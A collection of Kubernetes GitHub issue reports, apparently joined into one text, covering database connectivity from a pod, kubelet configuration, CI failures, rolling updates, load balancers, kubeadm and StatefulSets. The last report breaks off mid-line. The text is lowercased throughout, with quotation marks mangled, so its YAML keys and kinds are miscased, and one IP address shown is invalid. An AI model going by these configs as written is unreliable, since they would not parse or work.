root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r information_schema\r mysql\r performance_schema\r sys\r    \r ---\r    \r root@backup-test-user-5fb5658b8c-mrkhp:/  telnet mysql.dev-namespace 3306\r trying 100.305.252.110...\r telnet: unable to connect to remote host: connection refused\r root@backup-test-user-5fb5658b8c-mrkhp:/  telnet mysql.dev-namespace 3306\r trying 100.305.252.110...\r telnet: unable to connect to remote host: connection refused\r root@backup-test-user-5fb5658b8c-mrkhp:/  telnet mysql.dev-namespace 3306\r trying 100.305.252.110...\r connected to mysql.dev-namespace.svc.cluster.local.\r escape character is '^ '.\r    \r ---\r    \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h 100.305.252.110 -u root -pass --batch --skip-column-names '-eshow databases;' -v\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on '100.305.252.110'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h 100.305.252.110 -u root -pass --batch --skip-column-names '-eshow databases;' -v\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on '100.305.252.110'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h 100.305.252.110 -u root -pass --batch --skip-column-names '-eshow databases;' -v\r mysql:  warning  using a password on the command line interface can be insecure.\r --------------\r show databases\r --------------\r \r information_schema\r mysql\r performance_schema\r sys\r    \r ----\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.6-gke.2\ , gitcommit:\ 384b4eaa132ca9a295fcb3e5dfc74062b257e7df\ , gittreestate:\ clean\ , builddate:\ 2018-08-15t00:10:14z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

  \r after upgrading cluster from v1.10.5 to v1.11.3 i encountered information in kubelet log:\r    \r oct 09 15:44:08  kubelet 1636 : flag --address has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r oct 09 15:44:08  kubelet 1636 : flag --allow-privileged has been deprecated, will be removed in a future version\r ...\r oct 09 15:44:08 = kubelet 1636 : flag --feature-gates has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r    \r \r so, i decided to setup kubelet parameter via config file. i created following file:\r    \r kind: kubeletconfiguration\r apiversion: kubelet.config.k8s.io/v1beta1\r address: xxx.xxx.xxx.xxx\r port: 10250\r staticpodpath: /etc/kubernetes/manifests\r nodestatusupdatefrequency: 10s\r tlscertfile: /etc/kubernetes/ssl/node.pem\r tlsprivatekeyfile: /etc/kubernetes/ssl/node-key.pem\r authentication:\r   x509:\r     clientcafile: /etc/kubernetes/ssl/ca.pem\r   anonymous:\r     enabled: false\r cgroupdriver: cgroupfs\r cgroupsperqos: true\r maxpods: 110\r failswapon: true\r enforcenodeallocatable: \ \ \r clusterdns: 10.233.0.3\r clusterdomain: cluster.local\r resolverconfig: /etc/resolv.conf\r kubereserved:\r   cpu=100m,memory=256m\r featuregates:\r   persistentlocalvolumes=false,volumescheduling=false,mountpropagation=false\r    \r i used this page as reference: https://github.com/kubernetes/kubernetes/blob/release-1.11/pkg/kubelet/apis/kubeletconfig/types.go\r \r \r \r after restarting kubelet, i tried to deploy app into cluster and encountered warning:\r    \r warning  missingclusterdns        8m  x6 over 11m    kubelet,  kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to \ default\  policy.\r    \r \r it seems kubelet ignores parameters from config file, because when i come back to previous kubelet configuration no warnings occurred. \r \r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-134-generic\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r -  gce-master-new-downgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-new-downgrade-cluster \r \r   which test s  are failing  :\r \r | job | test | reason for failure |\r | - | - | - |\r |  gce-master-new-downgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-new-downgrade-cluster  |   sig-apps  replicaset-upgrade  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1107 cluster-downgrade-sig-apps-replicaset-upgrade  |  dial tcp 35.184.185.29:443: connect: connection refused \r |  gce-master-new-downgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-new-downgrade-cluster  |   sig-cluster-lifecycle  downgrade  feature:downgrade  cluster downgrade should maintain a functioning cluster  feature:clusterdowngrade   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1107 sig-cluster-lifecycle-downgrade-featuredowngrade-cluster-downgrade-should-maintain-a-functioning-cluster-featureclusterdowngrade  |  dial tcp 35.184.185.29:443: connect: connection refused \r |  gce-master-new-downgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-new-downgrade-cluster  |  hpa-upgrade  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1107 cluster-downgrade-hpa-upgrade  |  tls handshake timeout \r \r   since when has it been failing  :\r 2018-11-25\r \r   anything else we need to know  :\r related:   71268  https://github.com/kubernetes/kubernetes/issues/71268 \r \r <!-- do not edit below this line -->\r  

@bgrant0607, can you please add the information you think is necessary to  versioning.md  https://github.com/kubernetes/kubernetes/blob/master/docs/design/versioning.md ?  there's some info about how api versioning relates to releases, but it should probably be expanded?   or perhaps this information already exists elsewhere, and should just be linked in.    came up while i was writing  17806.

i've observed a fair amount of confusion around the whole kubeconfig/multi cluster thing. sometimes people ask about lost gke clusters, when really they ran kube-up on gce and wound up with a different context.   locally i've setup my aliases so  get ,  add , and  use  cluster work, and i personally find this useful. maybe we can teach kubectl to do something like:      bash   aka kubectl config view clusters | egrep \ ^  \\t +name: \  | sort | uniq | awk '{print $2}' $ kubectl get clusters dev e2e-test-beeps local    gcloud container clusters get-credentials  $ kubectl add cluster gke_dev_us-central1-b_cluster-1 fetching cluster endpoint and auth data. kubeconfig entry generated for cluster-1.    kubectl config use-context $ kubectl use cluster gke_dev_us-central1-b_cluster-1 switched to context \ gke_dev_us-central1-b_cluster-1\       i realize the second one isn't really cross platform, so maybe go looking for  kubernetes_provider ?

whenever i do a rolling update of a replication controller with an image, the originally deployed pod is kept alive on the cluster. for instance, if i deploy a new application, version 1 gets deployed. after a number of deployments, both original version 1 and version x are active.  not only that, replication controllers seem messed up. if i describe the pods in question, they each are in a different replication controller  the original rc with the original pod, and a new one with the new pod . but if i go into the kubernetes kube-ui dashboard, the old rc is linked to the new pod.  also, the describe command reckons the old rc and pod started after the new one.  old and new version are load balanced on the service, and clients are served 50% of the time from old code.  quite a few things not right here.   i'm roll-updating via  kubectl rolling-update rc-name --image=new/image:version .  kubernetes 1.2.4, deployed on aws via supplied scripts. images are built with docker 1.10 and stored at amazon's ecr.  yaml config  service, horizontal autoscaling and rc :      yml    php service and replication controllers apiversion: v1 kind: service metadata:   name: api-runtime   labels:     app: api-runtime spec:   type: nodeport   ports:   - port: 9000     protocol: tcp   selector:     app: api-runtime-pod  ---  apiversion: v1 kind: replicationcontroller metadata:   name: api-runtime-rc spec:   replicas: 1   template:     metadata:       labels:         app: api-runtime-pod     spec:       containers:       - name: api-runtime-pod         imagepullpolicy: always         image: xxxxx.amazonaws.com/xxxxxx:master-20         ports:           - containerport: 9000         env:           - name:  app_dev_mode             value: '0'  ---    pod horizontal autoscaling apiversion: extensions/v1beta1 kind: horizontalpodautoscaler metadata:   name: api-runtime-hpa   namespace: default spec:   scaleref:     kind: replicationcontroller     name: api-runtime-rc     subresource: scale   minreplicas: 1   maxreplicas: 4   cpuutilization:     targetpercentage: 70            development@localhost ~/b/b/kubernetes   master  kubectl describe service api-runtime name:           api-runtime namespace:      default labels:         app=api-runtime selector:       app=api-runtime-pod type:           nodeport ip:         10.0.54.148 port:           <unset> 9000/tcp nodeport:       <unset> 31131/tcp endpoints:      10.244.1.5:9000,10.244.2.7:9000 session affinity:   none no events.           development@localhost ~/b/b/kubernetes   master  kubectl describe pod api-runtime-rc name:       api-runtime-rc-a11ad91f9295fecc40b2424c94fbc86e-j2knj namespace:  default node:       ip-172-20-0-177.eu-west-1.compute.internal/172.20.0.177 start time: mon, 20 jun 2016 14:55:28 +0100 labels:     app=api-runtime-pod,deployment=a11ad91f9295fecc40b2424c94fbc86e status:     running ip:     10.244.2.7 controllers:    replicationcontroller/api-runtime-rc-a11ad91f9295fecc40b2424c94fbc86e containers:   api-runtime-pod:     container id:   docker://a3bba0dffce65b73ea5ef54e2df17420bc411c932bde216793c215667425d40a     image:      xxxxxx.amazonaws.com/xxxxxx:master-23     image id:       docker://06617122419a7741728b0117bc327b6cc85990d68f1bcbb8671b71c6db396ca9     port:       9000/tcp     qos tier:       cpu:  burstable       memory:   besteffort     requests:       cpu:      100m     state:      running       started:      mon, 20 jun 2016 14:55:32 +0100     ready:      true     restart count:  0     environment variables:       app_dev_mode:     0  conditions:   type      status   ready     true  volumes:   default-token-g84wh:     type:   secret  a volume populated by a secret      secretname: default-token-g84wh no events.  name:       api-runtime-rc-hmuo7 namespace:  default node:       ip-172-20-0-228.eu-west-1.compute.internal/172.20.0.228 start time: mon, 20 jun 2016 14:56:38 +0100 labels:     app=api-runtime-pod,deployment=ee9a49bd7a578f054e7c31762f47cdf0 status:     running ip:     10.244.1.5 controllers:    replicationcontroller/api-runtime-rc containers:   api-runtime-pod:     container id:   docker://1d586edc2dbd051e5010274145355f5c19191663daf7524d0b2dc6e4c6d3cb34     image:      xxxxx.amazonaws.com/xxxxx:master-20     image id:       docker://7506e66c6df9a32d048a76b29287376f3619ea8e03b52d7f91beb9180f6e1bc2     port:       9000/tcp     qos tier:       cpu:  burstable       memory:   besteffort     requests:       cpu:      100m     state:      running       started:      mon, 20 jun 2016 14:56:39 +0100     ready:      true     restart count:  0  conditions:   type      status   ready     true  volumes:   default-token-g84wh:     type:   secret  a volume populated by a secret      secretname: default-token-g84wh no events.            development@localhost ~/b/b/kubernetes   master  kubernetes-dist/cluster/kubectl.sh version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ }

https://github.com/kubernetes/kubernetes/pull/31023 issuecomment-246860748 broke the salt-based calico install in the gce kube-up deployments, since the gci image doesn't use salt and instead relies on cloud-config.  e.g       network_policy_provider=calico cluster/kube-up.sh      which used to work, doesn't any more.  this should be fixed when the calico self-hosted installation pr https://github.com/kubernetes/kubernetes/pull/30598/files hits, which will install calico using a daemonset.  keeping a list of the things that are going wrong since the switch to gci: - node components are no longer installed  will be fixed by  30598  - calico/node:v0.22.0 failing due to missing ip_set kernel support. -  network_policy_provider=calico  no longer sets  --network-plugin=cni  on kubelet.

several issues can cause a pod to be stuck in the waiting state. for example, if a pod is created with a configmap volume that doesn't exist, the pod will remain in the waiting state, but the indication of why is only logged as an event, which are ephemeral.  we should persist the error message by setting the  podstatus 's  reason  and  message  fields to indicate why the pod was stuck in that state.  see possible error cases  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l1348 .  /cc @kubernetes/sig-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/836/  failed:  k8s.io   feature:example   k8s.io  cassandrastatefulset should create statefulset {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:318 expected error:     < errors.errorstring | 0xc4203d3690>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:306       previous issues for this test:  36323  36469

/assign @bprashanth @lavalamp @erictune \r \r \r  basic statefulset functionality  statefulsetbasic  should provide basic identity is flaky  flakes in pr jobs more than once per day\r \r the  triage tool  http://go.k8s.io/triage  can filter down to searching for results for a single test:\r   https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=should%20provide%20basic%20identity

 \r from: https://github.com/kubernetes/kubernetes.github.io/pull/4208\r \r    yaml\r   a clusterrole which instructs the csr approver to approve a user requesting\r   node client credentials.\r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: system:csr-approver:approve-node-client-csr\r rules:\r - apigroups:  \ certificates.k8s.io\  \r   resources:  \ certificatesigningrequests/nodeclient\  \r   verbs:  \ create\  \r ---\r   a clusterrole which instructs the csr approver to approve a node renewing its\r   own client credentials.\r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: system:csr-approver:approve-node-client-renewal-csr\r rules:\r - apigroups:  \ certificates.k8s.io\  \r   resources:  \ certificatesigningrequests/selfnodeclient\  \r   verbs:  \ create\  \r ---\r   a clusterrole which instructs the csr approver to approve a node requesting a\r   serving cert matching its client cert.\r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: system:csr-approver:approve-node-server-renewal-csr\r rules:\r - apigroups:  \ certificates.k8s.io\  \r   resources:  \ certificatesigningrequests/selfnodeserver\  \r   verbs:  \ create\  \r    \r \r would it make sense to add these rules to the bootstrappolicy? to me they seem generic enough, and they wouldn't bind to something. consumers can do the binding to their subjects as they like.\r \r i'm asking because it's already duplicated twice for two early adopters:\r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/rbac/kubelet-certificate-management.yaml\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kubeadm/app/phases/apiconfig/clusterroles.go\r \r i don't think those clusterroles are specific to kubeadm and gke at all; but the clusterrolebindings will surely be, so therefore we'd create the roles but not the bindings.\r \r @kubernetes/sig-auth-feature-requests

 \r   what happened  :\r \r in playing with the nginx ingress controller deployment, i noticed the following pod name:\r nginx-ingress-controller-1449474453-c0ck5\r i figure we should possibly put something in place to prevent accidental l33t profanity ;- .\r \r   what you expected to happen  :\r \r the following pod name:\r nginx-ingress-controller-1449474453-r0ck5

 \r   what happened  :\r sent a request for an aggregated resource  sample-api wardle/flunders . response was a 200 status code and an error message saying the response could not be given.\r \r   what you expected to happen  :\r we should have an error status code.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  set up sample-apiserver. \r 2  curl -k -v -xget  -h \ user-agent: kubectl/v1.8.0  linux/amd64  kubernetes/49ae996\  -h \ accept: application/vnd.kubernetes.protobuf\  -h \ authorization: bearer <token>\  https://<aggregator ip>/apis/wardle.k8s.io/v1alpha1/namespaces/default/flunders\r 3  response \r < http/1.1 200 ok\r < content-length: 173\r < content-type: application/vnd.kubernetes.protobuf\r < date: tue, 08 aug 2017 22:57:37 gmt\r < \r k8s\r \u0002v1\u0012\u0006status\u0012�\u0001\r \u0004\r   connection  0 to host 35.193.112.40 left intact\r \u0012\u0012failure\u001a~object  v1alpha1.flunderlist does not implement the protobuf marshalling interface and cannot be encoded to a protobuf message\ 0�\u0003\u001a\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : debian gnu/linux 7  wheezy \r - kernel  e.g.  uname -a  : 3.16.0-4-amd64\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when we create an internal lb in azure using  service.beta.kubernetes.io/azure-load-balancer-internal: \ true\   the new lb called <clustername>-internal gets created and the frontend ip configured with the right rules. \r \r the problem is that the nsg associated with the ip of the internal frontend configuration never gets configured. \r   what you expected to happen  :\r the nsg to have the proper rules, similar to what occurs with public ip lb\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a service with an annotation;  service.beta.kubernetes.io/azure-load-balancer-internal: \ true\  \r configure your azure.json to use an external vnet  not sure if that is necessary, that's what we have \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.7.10\r - cloud provider or hardware configuration:\r azure\r - os  e.g. from /etc/os-release :\r centos 7.3\r - kernel  e.g.  uname -a  :\r - install tools:\r in house  salt-based \r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r   \r \r \r   what happened  :\r in some admission plugins, validationinterface.validate will be called twice, like  serviceaccount .\r https://github.com/kubernetes/kubernetes/blob/a19f6d147c3775efd2d91c69be95e9a02934223f/plugin/pkg/admission/serviceaccount/admission.go l180\r \r secondly called https://github.com/kubernetes/kubernetes/blob/a19f6d147c3775efd2d91c69be95e9a02934223f/staging/src/k8s.io/apiserver/pkg/admission/chain.go l51\r \r i think this is a redundant work\r \r   what you expected to happen  :\r \r validate be called only once, in validating stage.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r kubelet cannot start before kubeadm init has generated pki certs ... kubeadm init does health-checks that require kubelet to be running  and --ignore-preflight-errors=all does not skip those health checks \r   what you expected to happen  :\r kubeadm init should start up kubelet for the first time as soon as it has generated the pki certs and  before  it runs it's health checks .. or wait for kubelet to start  via crashloop  before doing the health checks\r   how to reproduce it  as minimally and precisely as possible   :\r on a new master node:\r 1. sudo systemctl start kubelet\r 2. sudo sudo journalctl -xeu kubelet \r 3. observe:\r server.go:218  unable to load client ca file /etc/kubernetes/pki/ca.crt: open /etc/kubernetes/pki/ca.crt: no such file\r 4. sudo kubeadm init --config=kubeadm-init.yaml  --ignore-preflight-errors=all\r 5. observe health check errors: \r \r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz/syncloop' failed with error: get http://localhost:10255/healthz/syncloop: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r  kubelet-check  it seems like the kubelet isn't running or healthy.\r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10255/healthz' failed with error: get http://localhost:10255/healthz: dial tcp 127.0.0.1:10255: getsockopt: connection refused.\r \r unfortunately, an error has occurred:\r \ttimed out waiting for the condition\r \r this error is likely caused by:\r \t- the kubelet is not running\r \t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \t- either there is no internet connection, or imagepullpolicy is set to \ never\ ,\r \t  so the kubelet cannot pull or find the following control plane images:\r \t\t- k8s.gcr.io/kube-apiserver-amd64:v1.9.1\r \t\t- k8s.gcr.io/kube-controller-manager-amd64:v1.9.1\r \t\t- k8s.gcr.io/kube-scheduler-amd64:v1.9.1\r \t\t- k8s.gcr.io/etcd-amd64:3.1.12  only if no external etcd endpoints are configured \r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r \t- 'systemctl status kubelet'\r \t- 'journalctl -xeu kubelet'\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r rhel 7.4\r - kernel  e.g.  uname -a  :\r linux master1 3.10.0-693.el7.x86_64  1 smp thu jul 6 19:56:57 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r  islikelynotmountpoint  func does not return correctly, for invalid symlink, it should return true not a mount point , now it will always return false:\r https://github.com/kubernetes/kubernetes/blob/7711d8866112e89341d194c39bc6470a0ec88a72/pkg/util/mount/mount_windows.go l141-l148\r \r \r https://github.com/kubernetes/kubernetes/blob/7711d8866112e89341d194c39bc6470a0ec88a72/pkg/volume/util/util.go l147-l163\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a windows pod with azure disk mount with  fstype  as  ext4 \r 2. disk mount will fail \r 3. delete the windows pod\r 4. windows pod with azure disk mount is in terminating state forever\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r we noticed this as the test/e2e_node/gpu_device_plugin.go has been failing recently due to timeout on waiting for gpu resource to show up after kubelet start/restart. from running the gpu_device_plugin e2e_node test on gce, i saw it took ~37 seconds for kubelet to start cm devicemanager after it restarts, and then took ~12 seconds for the gpu device plugin to re-register. as the result, the gpu_device_plugin e2e_node test fails because the current 10 sec waiting time is too small. restarting a container also seems to get slower that it sometimes exceeds the current 2 min waiting time in ensurepodcontainerrestart  .\r \r i am filing this issue to see whether this is expected.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r  \r   what happened  :\r \r if you mess up your  persistentvolumeclaim  definition, then you get an emptydir for free : \r \r   what you expected to happen  :\r \r you should just get complete scheduling failure, because the volume is undefined.\r \r  even though its a semantic issue, for people that ship kubernetes yamls to customers, this can result in critical dataloss when they configure stuff... \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubectl create -f https://gist.githubusercontent.com/jayunit100/622875501f127aa61cb81a8c5dfd7610/raw/1b5757eaeb55f5bff761ea5040f137e75c8a731d/cfssl.yml -n j1 ; sleep 5 ; kubectl get deployment cfssl -n j1 -o yaml | grep -a 5 emptydir\r \r   anything else we need to know?  :\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.7-gke.3\ , gitcommit:\ 9b5b719c5f295c99de68ffb5b63101b0e0175376\ , gittreestate:\ clean\ , builddate:\ 2018-05-31t18:32:23z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r \r i updated a statefulset with a non-existent docker image. as expected, a pod of the statefulset is destroyed and can't be recreated  errimagepull . however, when i change back the statefulset with an existing image, the statefulset doesn't try to remove the broken pod to replace it by a good one. it keeps trying to pull the non-existing image.\r you have to delete the broken pod manually to unblock the situation.\r \r  related stackoverflow question  https://stackoverflow.com/questions/48894414/kubernetes-statefulset-pod-startup-error-recovery \r \r   what you expected to happen  :\r \r when rolling back the bad config, i expected the statefulset to remove the broken pod and replace it by a good one.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy the following statefulset:\r    \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   selector:\r     matchlabels:\r       app: nginx   has to match .spec.template.metadata.labels\r   servicename: \ nginx\ \r   replicas: 3   by default is 1\r   template:\r     metadata:\r       labels:\r         app: nginx   has to match .spec.selector.matchlabels\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: nginx\r         image: k8s.gcr.io/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r         volumemounts:\r         - name: www\r           mountpath: /usr/share/nginx/html\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: \ standard\ \r       resources:\r         requests:\r           storage: 10gi\r    \r \r 2. once the 3 pods are running, update the statefulset spec and change the image to  k8s.gcr.io/nginx-slim:foobar \r 3. observe the new pod failing to pull the image.\r 4. roll back the change.\r 5. observe the broken pod not being deleted.\r \r   anything else we need to know?  :\r \r   i observed this behaviour both on 1.8 and 1.10.\r   this seems related to the discussion in  18568\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: 